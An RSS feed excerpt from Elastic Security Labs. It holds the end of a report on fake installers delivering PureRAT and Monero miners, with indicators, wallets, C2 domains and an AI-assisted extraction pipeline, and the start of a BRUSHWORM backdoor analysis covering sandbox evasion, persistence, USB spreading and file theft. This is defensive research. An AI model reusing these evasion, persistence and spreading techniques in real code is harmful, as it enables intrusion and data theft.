<p>On the installation window, the “go here” hyperlink opens a short link <code>https://t[.]ly/MQXPm</code> that redirects to the lure page <code>https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/</code>, which presents 2 outgoing fake download links:</p>
<ul>
<li><code>https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeydsktp/</code></li>
<li><code>https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeymbl/</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image27.png" alt="Content at https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/" title="Content at https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/" /></p>
<p>Both links were offline at the time of analysis. However, historical data indicates that <code>rapidfilesbaze[.]top</code> has been used consistently for CPA-style offer lures.</p>
<p>A <a href="http://URLScan.io">URLScan.io</a> archived response for a related path (<code>rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/</code>) confirms the site's use as a lure landing page.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image12.png" alt="Content at rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/" title="Content at rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/" /></p>
<p>The downstream unlocker site at <code>https://unlockcontent[.]net/cl/i/me9mn2</code> remains active as of this writing.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image37.png" alt="Content at https://unlockcontent[.]net/cl/i/me9mn2" title="Content at https://unlockcontent[.]net/cl/i/me9mn2" /></p>
<h2>GitHub Profiles</h2>
<p>Beyond the C2 infrastructure, the threat actor abuses GitHub as a payload delivery CDN, hosting staged binaries across two identified accounts. This technique shifts the download-and-execute step away from operator-controlled infrastructure to a trusted platform, reducing detection friction. Both profiles were confirmed through decrypting C2 task traffic captured by VirusTotal sandboxes, which issued download-and-execute tasks pointing directly to raw GitHub content URLs. The operator routinely deletes individual binaries and entire repositories; the files documented below were captured via VirusTotal submissions or direct retrieval from GitHub prior to deletion.</p>
<p>The first profile, <code>https://github[.]com/lebnabar198</code>, surfaced during analysis of Campaign 2. After decrypting the C2 traffic from the <code>windirautoupdates[.]top</code> server, we observed the PureRAT implant being instructed to fetch a payload from this account, specifically the custom XMRig loader <code>MnrsInstllr_240126.exe</code>. This establishes a direct operational link between the PureRAT C2 and this GitHub profile.</p>
<p>The second profile, <code>https://github[.]com/ugurlutaha6116</code>, was identified by decrypting traffic from a PureRAT loader (SHA-256: <code>e1e87d11079d33ec1a1c25629cbb747e56fe17071bde5fd8c982461b5baa80a4</code>), which used the same PBKDF2 key derivation structure with the comms key <code>Aesthetics152</code>. The decrypted task pointed to the hosted payload <code>PM3107.exe</code>.</p>
<p>The hosted files map to the following payloads:</p>
<table>
<thead>
<tr>
<th align="left">Filename</th>
<th align="left">Associated payload</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>CNB-v112-zUpdt-inPmnr.exe</code></td>
<td align="left">CNB Bot</td>
</tr>
<tr>
<td align="left"><code>MyXMRmnr_Instllr_0302.exe</code></td>
<td align="left">Custom XMRig loader</td>
</tr>
<tr>
<td align="left"><code>MnrsInstllr_240126.exe</code>, <code>MnrsInstllr_030126.exe</code></td>
<td align="left">Custom XMRig loader</td>
</tr>
<tr>
<td align="left"><code>PM2311.exe, PM1109.exe</code>, …</td>
<td align="left">PureMiner</td>
</tr>
<tr>
<td align="left"><code>Pmnr_1303_wALL.exe</code>, <code>Pmnr_Instllr_1303.exe</code>, …</td>
<td align="left">PureMiner</td>
</tr>
<tr>
<td align="left"><code>A_Instllr_250525.exe</code></td>
<td align="left">AsyncRAT</td>
</tr>
<tr>
<td align="left"><code>U_n_P_Installer_220725.exe</code>, <code>U_n_P_Installer_110725.exe</code>, …</td>
<td align="left">Loader for SilentCryptoMiner &amp; PureMiner</td>
</tr>
<tr>
<td align="left"><code>umnr_120525.exe</code>, <code>Umnr_1403_frPmnr.exe</code>, …</td>
<td align="left">SilentCryptoMiner</td>
</tr>
<tr>
<td align="left"><code>plsr_instllr_1804.exe</code></td>
<td align="left">Pulsar RAT</td>
</tr>
</tbody>
</table>
<h2>Monero Wallet Analysis</h2>
<p>During our analysis of the cryptominer payloads, we successfully extracted four active Monero (XMR) wallet addresses from the malware's configuration. Because the threat actor is routing their compromised hosts through public mining pools, we can query the pool's public dashboards using these wallet addresses. It provides information about the operational scale and profitability of the campaigns.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image30.png" alt="Tracking mining activity through a public dashboard" title="Tracking mining activity through a public dashboard" /></p>
<p>Based on the telemetry available at the time of writing, here is the current status of the attacker's mining operations:</p>
<ul>
<li><strong>Wallet 1:</strong> <code>87NnUp8GKVBZ8pFV75Gas4A5nMMH7gEeo8AXBhm9Q6vS5oQ6SzCYf1bJr7Lib35VN2UX271PAXeqRFDmjo5SXm3zFDfDSWD</code>
<ul>
<li><strong>Active Workers:</strong> 7</li>
<li><strong>Estimated Hashrate Return:</strong> ~0.0172 XMR / day</li>
<li><strong>Total Paid Out:</strong> 2.2 XMR</li>
</ul>
</li>
<li><strong>Wallet 2:</strong> <code>89FYoLrfXwEDAVAsVYbhAfg3mATUtBzNAK2LG8wwDKfNTRhmNRTBn1VbwpFxEpJ8h5fQa2A4CS1tpRv7amUdJ3ZbUoVu6T1</code>
<ul>
<li><strong>Active Workers:</strong> 3</li>
<li><strong>Estimated Hashrate Return:</strong> ~0.02 XMR / day</li>
<li><strong>Total Paid Out:</strong> 4.23 XMR</li>
</ul>
</li>
<li><strong>Wallet 3:</strong> <code>89WoZKYoHhcNEFRV8jjB6nDqzjiBtQqyp4agGfyHwED1XyVAoknfVsvY1CwEHG6nwZFJGFTF5XbqC4tAQbnoFFCX8UQof3G</code>
<ul>
<li><strong>Active Workers:</strong> 2</li>
<li><strong>Estimated Hashrate Return:</strong> ~0.0057 XMR / day</li>
<li><strong>Total Paid Out:</strong> 11.69 XMR</li>
</ul>
</li>
<li><strong>Wallet 4:</strong><br />
<code>83Q1PKZ5yXsP8SCqjV3aV7B3UoBB3skPp49G1VnnGtv5Y5EUbFQTXvzR9cZshBYBBfd8Dm1snkkud431pdzEZ2uJTad1CiC</code>
<ul>
<li><strong>Active Workers:</strong> 2</li>
<li><strong>Estimated Hashrate Return:</strong> ~0.0036 XMR / day</li>
<li><strong>Total Paid Out:</strong> 9.76 XMR</li>
</ul>
</li>
</ul>
<p>With a combined total of over 27.88 XMR (~ USD$ 9392) already successfully paid out to the attacker, it proves that low-and-slow cryptojacking operations can yield consistent financial returns over time.</p>
<h2>Agentic Payload and Configuration Extraction Pipeline</h2>
<p>In this research, we examined several hundred infection chains across the campaigns we described. For each chain, we have samples, mainly .NET, which are either loaders or final payloads layered with .NET Reactor obfuscation and often Themida packing.</p>
<p>The large number of these chains makes manual configuration and unpacking time-consuming and difficult to scale across all the chains we discovered. This is why, as part of this research, we used the Claude Opus 4.5 model to quickly vibecode a payload and configuration extraction pipeline. In this section, we provide details on the choices we made and the results we obtained with this method.</p>
<h4>Triage</h4>
<p>To optimize processing time, this phase focuses on extensively exploring infection chains using VirusTotal. We begin by obtaining a list of hashes from VirusTotal based on a specific pivot. For instance, using the README.txt content as a pivot to identify other ISOs.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image39.png" alt="VirusTotal ISO pivot" title="VirusTotal ISO pivot" /></p>
<p>Claude is instructed to use a Python script to perform a recursive download. This process involves gathering information about embedded binaries and dropped files associated with each file hash. Claude then uses its “intelligence” to identify the most subsequent link in the chain and continues its investigation until it reaches what it considers the final binary in that chain. After exploring all chains, Claude analyzes the patterns and creates chain types to group them. Finally, the results are compiled into a CSV file for subsequent analysis.</p>
<p>The data we obtained includes the starting hash from VirusTotal and the final hash, representing the last file Claude successfully tracked. This demonstrates that, with the right guidance, Claude can effectively track entire chains using only information from VirusTotal.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image6.png" alt="Triaged data" title="Triaged data" /></p>
<h4>Download and Extraction</h4>
<p>Once the triage file was created, we downloaded the intermediate payloads and instructed Claude to start the automatic payload/configuration extraction process. To do this, we installed an OpenSSH server on a Windows virtual machine, then created a Claude skill containing instructions to connect to this machine and use the installed tools to perform the reverse engineering and extraction workflow.</p>
<p>The workflow is simple: Claude connects to the machine, uploads the sample, detects whether it is obfuscated or packed with Detect It Easy, and applies the appropriate deobfuscation tool until the sample is no longer obfuscated (Unlicense, .NET Reactor Slayer). It then runs the developed extraction scripts to identify what the sample is and determine the next step: either continue extraction with the child payload if the parent is a loader, or store the configuration information for the final report.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image19.png" alt="Payload/Configuration extraction Claude skill" title="Payload/Configuration extraction Claude skill" /></p>
<p>If all the extraction scripts fail, Claude must enter Research Mode. This mode is the most enjoyable part of the skill because it gives Claude a workflow to either automatically develop a new extraction script or identify why the existing script doesn't work with the variant. Claude’s Research Mode consists of using the <a href="https://github.com/dnSpyEx">dnSpyEx</a> tool installed on the machine to compile the sample's C# code, perform a complete code analysis, identify how to extract the payload or configuration, then develop a script with this knowledge to work directly with the raw binaries to be more efficient and finally store the knowledge for the next time it has to work on the same malware family.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image28.png" alt="Research mode instruction" title="Research mode instruction" /></p>
<h4>Results</h4>
<p>Using the Claude Opus 4.5 model, the results were really good. Not only did Claude succeed in handling the obfuscation layers, but it also completely researched and developed, on its own, the methods and scripts (based on the CIL of .NET binaries) to extract the final payloads and their configurations without having encountered them before.</p>
<p>It also demonstrated robust failure handling without requiring additional instruction. For example, when it encountered samples that could not be fully deobfuscated due to issues with Reactor Slayer, which made static extraction too difficult, it stopped processing, documented the problem, and proceeded to the next sample.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image9.png" alt="Claude entering Research Mode on extraction failure" title="Claude entering Research Mode on extraction failure" /></p>
<p>Of course, it is not without drawbacks:</p>
<ul>
<li>Once its context started to fill up too much, it often diverged onto useless paths and required either micro-management or a reset, hence the usefulness of having a skill with reusable instructions and a knowledge base on the work already done.</li>
<li>It takes a long time, every action requires it to “think”, however, it’s automatic and it's definitely time recovered you can use to do something else.</li>
<li>Its token consumption is particularly greedy, especially once you figure out it’s doing a lot of inefficient things.</li>
</ul>
<h2>Observations</h2>
<p>The following tables consolidate malware configurations extracted across the builds we investigated, and are not exhaustive:</p>
<p><strong>CNB Bot</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>1.1.1.</code>, <code>1.1.2.</code>, <code>1.1.3.</code>, <code>1.1.5.</code>, <code>1.1.6.</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s:</td>
<td align="left"><code>tabbysbakescodes[.]ws/CNB/gate.php</code>&lt;br /&gt;<code>tommysbakescodes[.]ws/CNB/gate.php</code>&lt;br /&gt;<code>tommysbakescodes[.]cv/CNB/gate.php</code>&lt;br /&gt;<code>win64autoupdates[.]top/CNB/gate.php</code>&lt;br /&gt;<code>autoupdatewinsystem[.]top/CNB/gate.php</code></td>
</tr>
<tr>
<td align="left">Campaign/Build ID</td>
<td align="left"><code>03_26</code>, <code>25_02_26</code>, <code>15_02_26</code>, <code>1502_26</code>, <code>0502_26</code>, <code>01-26</code>, <code>frPmnr_0126</code></td>
</tr>
<tr>
<td align="left">Auth tokens</td>
<td align="left"><code>0326GJSECMHSHOEYHQMKDZ</code> <code>020226SNDLPXSHTCSURVQ</code> <code>0226frBLKWNYHD0FS1YWE</code> <code>0126HRAOLQEFNGGRCXMITREQC</code></td>
</tr>
<tr>
<td align="left">Mutex</td>
<td align="left"><code>MTXCNBV11000ERCXSWOLZNBVRGH</code></td>
</tr>
</tbody>
</table>
<p><strong>PureRAT</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>0.3.8B</code>. <code>0.3.9</code>, <code>0.4.1</code>, <code>3.0.1</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s</td>
<td align="left"><code>windirautoupdates[.]top</code>&lt;br /&gt;<code>winautordr.hopto[.]org</code>&lt;br /&gt;<code>winautordr.itemdb[.]com</code>&lt;br /&gt;<code>winautordr.ydns[.]eu</code>&lt;br /&gt;<code>winautordr.kozow[.]com</code>&lt;br /&gt;<code>wndlogon.hopto[.]org</code>&lt;br /&gt;<code>wndlogon.itemdb[.]com</code>&lt;br /&gt;<code>wndlogon.kozow[.]com</code>&lt;br /&gt;<code>wndlogon.ydns[.]eu</code></td>
</tr>
<tr>
<td align="left">Campaign/Build IDs</td>
<td align="left"><code>23-01-26</code>, <code>14-01-26</code>, <code>03-01-26</code>, <code>24-12-25</code>, <code>25-11-25</code>, <code>08-11-25</code>, <code>29-01-25</code>, <code>09.11.23</code></td>
</tr>
<tr>
<td align="left">Mutex / C2 Comms key</td>
<td align="left"><code>Aesthetics135</code></td>
</tr>
</tbody>
</table>
<p><strong>PureMiner</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>7.0.6</code>, <code>7.0.7</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s</td>
<td align="left"><code>wndlogon.hopto[.]org</code>&lt;br /&gt;<code>wndlogon.itemdb[.]com</code>&lt;br /&gt;<code>wndlogon.ydns[.]eu</code>&lt;br /&gt;<code>wndlogon.kozow[.]com</code></td>
</tr>
<tr>
<td align="left">Campaign/Build IDs</td>
<td align="left"><code>24-10-25</code>, <code>23-11-25</code>, <code>15-09-25-MassUpdt</code>, <code>11-09-25</code>, <code>08-08-RAM</code>, <code>06-08-RAM</code>, <code>04-08-RAM</code>, <code>31-07-RAM</code>, <code>03-08-RAM</code>, <code>13-03-25</code>, <code>25-07-RAMwALL</code>, <code>25-11-25</code></td>
</tr>
<tr>
<td align="left">Wallet Address</td>
<td align="left"><code>89WoZKYoHhcNEFRV8jjB6nDqzjiBtQqyp4agGfyHwED1XyVAoknfVsvY1CwEHG6nwZFJGFTF5XbqC4tAQbnoFFCX8UQof3G</code></td>
</tr>
<tr>
<td align="left">Mutex / C2 Comms key</td>
<td align="left"><code>4c271ad41ea2f6a44ce8d0</code></td>
</tr>
</tbody>
</table>
<p><strong>Custom XMRig Loader</strong></p>
<table>
<thead>
<tr>
<th align="left">Wallet Addresses</th>
<th align="left"><code>87NnUp8GKVBZ8pFV75Gas4A5nMMH7gEeo8AXBhm9Q6vS5oQ6SzCYf1bJr7Lib35VN2UX271PAXeqRFDmjo5SXm3zFDfDSWD</code>, <code>83sDbPzoghAX45hA2Y26xvaDsKv8TLymAGKKyZwrCKB3T9kuuYBDzb64vfy9XQyrpUFQ4r8u3V2T1EzqE6CR27XmMCCwGu1</code></th>
</tr>
</thead>
</table>
<p><strong>AsyncRAT</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>0.5.8</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s</td>
<td align="left"><code>wndlogon.hopto[.]org</code>&lt;br /&gt;<code>wndlogon.itemdb[.]com</code>&lt;br /&gt;<code>wndlogon.ydns[.]eu</code>&lt;br /&gt;<code>wndlogon.kozow[.]com</code></td>
</tr>
<tr>
<td align="left">Campaign/Build IDs</td>
<td align="left"><code>BL_Bckp_250525</code></td>
</tr>
</tbody>
</table>
<p><strong>PulsarRAT</strong></p>
<table>
<thead>
<tr>
<th align="left">Versions</th>
<th align="left"><code>1.5.1</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">C2s</td>
<td align="left"><code>wndlogon.hopto[.]org</code>&lt;br /&gt;<code>wndlogon.itemdb[.]com</code>&lt;br /&gt;<code>wndlogon.ydns[.]eu</code>&lt;br /&gt;<code>wndlogon.kozow[.]com</code></td>
</tr>
<tr>
<td align="left">Campaign/Build IDs</td>
<td align="left"><code>18-04-25</code></td>
</tr>
</tbody>
</table>
<p><strong>SilentCryptoMiner</strong></p>
<table>
<thead>
<tr>
<th align="left">Mining Pool</th>
<th align="left"><code>gulf.moneroocean[.]stream:10128</code></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Wallet</td>
<td align="left"><code>83Q1PKZ5yXsP8SCqjV3aV7B3UoBB3skPp49G1VnnGtv5Y5EUbFQTXvzR9cZshBYBBfd8Dm1snkkud431pdzEZ2uJTad1CiC</code></td>
</tr>
<tr>
<td align="left">Password</td>
<td align="left"><code>CPUrig</code></td>
</tr>
<tr>
<td align="left">Mining proxy/fallback</td>
<td align="left"><code>172.94.15[.]211:5443</code></td>
</tr>
<tr>
<td align="left">Domain</td>
<td align="left"><code>softappsbase[.]top</code></td>
</tr>
<tr>
<td align="left">Domain</td>
<td align="left"><code>autoupdatewinsystem[.]top</code></td>
</tr>
<tr>
<td align="left">Domain</td>
<td align="left"><code>softwaredatabase[.]xyz</code></td>
</tr>
<tr>
<td align="left">Configuration path</td>
<td align="left"><code>https://softappsbase[.]top/UnammnrsettingsCPU.txt</code></td>
</tr>
<tr>
<td align="left">Configuration path</td>
<td align="left"><code>https://autoupdatewinsystem[.]top/UWP1/cpu.txt</code></td>
</tr>
<tr>
<td align="left">Configuration path</td>
<td align="left"><code>https://softwaredatabase[.]xyz/UnammnrsettingsCPU.txt</code></td>
</tr>
<tr>
<td align="left">Communication endpoint</td>
<td align="left"><code>https://softappsbase[.]top/UnamWebPanel7/api/endpoint.php</code></td>
</tr>
<tr>
<td align="left">Communication endpoint</td>
<td align="left"><code>https://autoupdatewinsystem[.]top/UWP1/api/endpoint.php</code></td>
</tr>
<tr>
<td align="left">Communication endpoint</td>
<td align="left"><code>https://softwaredatabase[.]xyz/UnamWebPanel7/api/endpoint.php</code></td>
</tr>
</tbody>
</table>
<p>Here is a <a href="https://gist.github.com/jiayuchann/6728db5acef7b2793a6afa77b600c7c6">GitHub Gist</a> of a list of sample hashes.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/fake-installers-to-monero.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic Security Labs uncovers BRUSHWORM and BRUSHLOGGER]]></title>
            <link>https://www.elastic.co/kr/security-labs/brushworm-targets-financial-services</link>
            <guid>brushworm-targets-financial-services</guid>
            <pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs observed two custom malware components targeting a South Asian financial institution: a modular backdoor with USB-based spreading and a DLL-side-loaded keylogger.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>A South Asian financial institution was targeted with two custom malware components: a modular backdoor (<strong>BRUSHWORM)</strong>  and a keylogger (<strong>BRUSHLOGGER)</strong></li>
<li><strong>BRUSHWORM</strong>  features anti-analysis checks, AES-CBC encrypted configuration, scheduled task persistence, modular DLL payload downloading, USB worm propagation, and broad file theft targeting documents, spreadsheets, email archives, and source code</li>
<li>The keylogger masquerades as libcurl via DLL side-loading, capturing system-wide keystrokes with window context tracking and XOR-encrypted log files</li>
<li>Multiple earlier testing versions (<code>V1.exe</code>, <code>V2.exe</code>, etc.) were discovered on VirusTotal, some using free dynamic DNS infrastructure, indicating iterative development</li>
</ul>
<h2>Introduction</h2>
<p>During a recent investigation, Elastic Security Labs identified malware deployed on a South Asian financial institution’s infrastructure. The victim environment had only SIEM-level visibility enabled, which limited post-exploitation telemetry. The intrusion involved two custom binaries: a backdoor named <code>paint.exe</code> and a keylogger masquerading as <code>libcurl.dll</code>.</p>
<p><strong>BRUSHWORM</strong> functions as the primary implant, responsible for installation, persistence, command-and-control communication, downloading additional modular payloads, spreading via removable media, and stealing files with targeted extensions. <strong>BRUSHLOGGER</strong> supplements this by capturing system-wide keystrokes via a simple Windows keyboard hook and logging the active window context for each keystroke session.</p>
<p>Neither binary employs meaningful code obfuscation, packing, or advanced anti-analysis techniques. The overall quality of the code is low — for example, the backdoor writes its decrypted configuration to disk in cleartext before encrypting and saving a second copy, then deletes the cleartext file. Given the absence of a kill switch, the use of free dynamic DNS servers in testing versions, and some coding mistakes, we assess with moderate confidence that the author is relatively inexperienced and may have leveraged AI code-generation tools during development without fully reviewing the output.</p>
<p>Through VirusTotal pivoting, we identified what appear to be earlier development and testing versions of the backdoor uploaded under filenames such as <code>V1.exe</code>, <code>V2.exe</code>, and <code>V4.exe</code>, with varying configurations.</p>
<h2>BRUSHWORM code analysis</h2>
<p>The backdoor is the primary implant responsible for establishing persistence, communicating with the C2 server, downloading modular payloads, spreading to removable media, and exfiltrating files.</p>
<h3>Anti-analysis and sandbox detection</h3>
<p>The malware begins execution with a series of environment checks designed to detect analysis environments, though the techniques are straightforward and lack sophistication.</p>
<p><strong>Screen resolution check:</strong> If the display resolution is less than 1024×768 pixels, execution terminates immediately. This is a common sandbox detection technique.</p>
<p><strong>Username and computer name check:</strong> The malware checks whether the machine's username or the computer name is “<code>sandbox</code>”. If either condition matches, it terminates. These checks target the default name commonly used in analysis sandboxes.</p>
<p><strong>Hypervisor detection:</strong> Using the <code>CPUID</code> instruction, the malware queries the hypervisor vendor string and compares it against the following known virtualization platforms:</p>
<table>
<thead>
<tr>
<th>Hypervisor Vendor String</th>
<th>Platform</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>VMWAREVMWARE</code></td>
<td>VMware</td>
</tr>
<tr>
<td><code>KVMKVMKVM</code></td>
<td>KVM</td>
</tr>
<tr>
<td><code>XENVMMXENVMM</code></td>
<td>Xen</td>
</tr>
<tr>
<td><code>PRL HYPERV</code></td>
<td>Parallels</td>
</tr>
<tr>
<td><code>TCGTCGTCGTCG</code></td>
<td>QEMU (TCG)</td>
</tr>
<tr>
<td><code>ACRNACRNACRN</code></td>
<td>ACRN</td>
</tr>
<tr>
<td><code>MICROSOFT HV</code></td>
<td>Hyper-V</td>
</tr>
</tbody>
</table>
<p>If a hypervisor is detected, the malware does not terminate — it merely sleeps for one second before continuing execution.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image14.png" alt="Hypervisor vendor string comparison using the CPUID instruction" title="Hypervisor vendor string comparison using the CPUID instruction" /></p>
<p><strong>Mouse activity check:</strong> After the initial setup, the malware monitors mouse movement for 5 minutes. If the cursor does not move during this period, execution terminates. This acts as an additional sandbox evasion measure.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image7.png" alt="Mouse movement monitoring over a 5-minute window" title="Mouse movement monitoring over a 5-minute window" /></p>
<h3>Installation and directory setup</h3>
<p>On first execution, the malware creates multiple hidden directories with hardcoded paths. These directories serve distinct roles throughout the malware's lifecycle:</p>
<table>
<thead>
<tr>
<th>Directory</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>C:\ProgramData\Photoes\Pics\</code></td>
<td>Main installation folder for the backdoor binary</td>
</tr>
<tr>
<td><code>C:\Users\Public\Libraries\</code></td>
<td>Storage for downloaded modules from the C2 server (e.g., <code>Recorder.dll</code>)</td>
</tr>
<tr>
<td><code>C:\Users\Public\AppData\Roaming\Microsoft\Vault\</code></td>
<td>Storage of the encrypted configuration file (<code>keyE.dat</code>)</td>
</tr>
<tr>
<td><code>C:\Users\Public\Systeminfo\</code></td>
<td>Staging directory for stolen files</td>
</tr>
<tr>
<td><code>C:\Users\Public\AppData\Roaming\NuGet\</code></td>
<td>Tracks exfiltrated file paths with their SHA-256 hashes (<code>hashconfig</code>)</td>
</tr>
</tbody>
</table>
<p>The misspelling &quot;Photoes&quot; (instead of &quot;Photos&quot;) is consistent across both the backdoor and keylogger components and appears to be an authentic mistake by the author to blend with the other user’s media directories.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image4.png" alt="The malware checks whether the installation directory already exists" title="The malware checks whether the installation directory already exists" /></p>
<h3>Configuration decryption</h3>
<p>The backdoor's configuration is stored as a JSON structure with field values encrypted using AES-CBC. The AES key is hardcoded in the binary, while the initialization vector (IV) is prepended to each encrypted field's data blob.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image10.png" alt="AES-CBC decryption of configuration fields with a hardcoded key and an embedded IV" title="AES-CBC decryption of configuration fields with a hardcoded key and an embedded IV" /></p>
<p>The decrypted configuration follows this structure:</p>
<pre><code class="language-json">{
  &quot;internetCheckDomain&quot;: &quot;&lt;...&gt;&quot;,
  &quot;downloadDomain&quot;: &quot;&lt;...&gt;&quot;,
  &quot;retryCount&quot;: 0
}
</code></pre>
<p>This configuration is not referenced anywhere in the malware's operational logic. The C2 server address that the backdoor actually communicates with is a separate C++ global string variable stored in cleartext(<code>resources.dawnnewsisl[.]com/updtdll</code>), which is passed directly to the function responsible for C2 communication and payload downloads.<br />
<img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image11.png" alt="Download_payload function call" title="Download_payload function call" /></p>
<p>The decrypted configuration fields (<code>internetCheckDomain</code>, <code>downloadDomain</code>, <code>retryCount</code>) go entirely unused in this build. This configuration is likely intended for a future version, a separate payload component, or was simply disabled in the deployed build, reinforcing the impression of a codebase under active, disorganized development.</p>
<h3>Persistence</h3>
<p>The malware establishes persistence by creating a Windows scheduled task named <code>MSGraphics</code> through the COM Task Scheduler interface. The task is configured to execute the malware binary each time a user logs in, ensuring the backdoor survives system reboots.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image1.png" alt="Persistence was established through a COM-based scheduled task named MSGraphics" title="Persistence was established through a COM-based scheduled task named MSGraphics" /></p>
<h3>Payload download and execution</h3>
<p>The backdoor uses the WinHTTP library to issue a <code>GET</code> request to the C2 server at the URI <code>/updtdll</code> to download a DLL payload. The downloaded binary is written to <code>C:\Users\Public\Libraries\</code> as <code>Recorder.dll</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image3.png" alt="WinHTTP GET request to /updtdll to fetch the DLL payload" title="WinHTTP GET request to /updtdll to fetch the DLL payload" /></p>
<p>We were unable to recover the downloaded payload during our investigation, but the naming convention and execution method suggest it is a modular plugin — likely providing additional post-exploitation capabilities such as screen recording or data exfiltration.</p>
<p>The downloaded DLL is executed by creating a second scheduled task named MSRecorder that uses <code>rundll32.exe</code> to load and run it. This mirrors the same COM-based scheduled task creation method used for persistence.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image13.png" alt="" /></p>
<p>The C2 server's SSL certificate is issued by Let's Encrypt.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/brushworm-targets-financial-services/image6.png" alt="Let's Encrypt SSL certificate used by the C2 server" title="Let's Encrypt SSL certificate used by the C2 server" /></p>
<h3>USB spreading and file theft</h3>
<p>Once <strong>BRUSHWORM</strong> detects that the host is already infected (by checking for the presence of the installation directory), its behavior diverges based on internet connectivity. The malware performs a connectivity check by attempting to reach <code>www.google.com</code>.</p>
<h4>Scenario 1 — Internet access available:</h4>
<p>The malware spawns two threads targeting external storage devices:</p>
<ol>
<li><strong>Removable drive infection:</strong> The backdoor copies itself to any connected removable storage devices using socially-engineered filenames designed to entice victims in a corporate financial environment:
<ul>
<li><code>Salary Slips.exe</code></li>
<li><code>Notes.exe</code></li>
<li><code>Documents.exe</code></li>
<li><code>Important.exe</code></li>
<li><code>Dont Delete.exe</code></li>
<li><code>Presentation.exe</code></li>
<li><code>Emails.exe</code></li>
<li><code>Attachments.exe</code></li>
</ul>
</li>
<li><strong>File theft from removable and optical drives:</strong> Both threads enumerate files on the connected media and exfiltrate to a folder any file matching a broad set of targeted extensions:</li>
</ol>
<table>
<thead>
<tr>
<th>Category</th>
<th>Extensions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Documents &amp; Word Processing</td>
<td><code>.doc</code>, <code>.docx</code>, <code>.dot</code>, <code>.dotx</code>, <code>.wps</code>, <code>.wpd</code>, <code>.wp</code>, <code>.rtf</code>, <code>.txt</code>, <code>.odt</code>, <code>.ott</code>, <code>.pages</code></td>
</tr>
<tr>
<td>Spreadsheets</td>
<td><code>.xls</code>, <code>.xlsx</code>, <code>.xlsm</code>, <code>.xlt</code>, <code>.xltx</code>, <code>.xlw</code>, <code>.ods</code>, <code>.ots</code>, <code>.csv</code>, <code>.tsv</code>, <code>.dbf</code>, <code>.wk1</code>, <code>.wk3</code>, <code>.wk4</code>, <code>.123</code></td>
</tr>
<tr>
<td>Presentations</td>
<td><code>.ppt</code>, <code>.pptx</code>, <code>.pot</code>, <code>.potx</code>, <code>.pps</code>, <code>.ppsx</code>, <code>.odp</code>, <code>.otp</code>, <code>.key</code>, <code>.sxi</code></td>
</tr>
<tr>
<td>Portable &amp; Layout</td>
<td><code>.pdf</code>, <code>.xps</code>, <code>.epub</code>, <code>.mobi</code>, <code>.ps</code>, <code>.prn</code>, <code>.tex</code>, <code>.latex</code>, <code>.pub</code>, <code>.p65</code>, <code>.fm</code></td>
</tr>
<tr>
<td>Archives &amp; Disk Images</td>
<td><code>.zip</code>, <code>.rar</code>, <code>.7z</code>, <code>.tar</code>, <code>.gz</code>, <code>.bz2</code>, <code>.xz</code>, <code>.iso</code>, <code>.cab</code>, <code>.arj</code>, <code>.lzh</code>, <code>.lha</code>, <code>.tgz</code>, <code>.tbz</code>, <code>.txz</code></td>
</tr>
<tr>
<td>Email &amp; Notes</td>
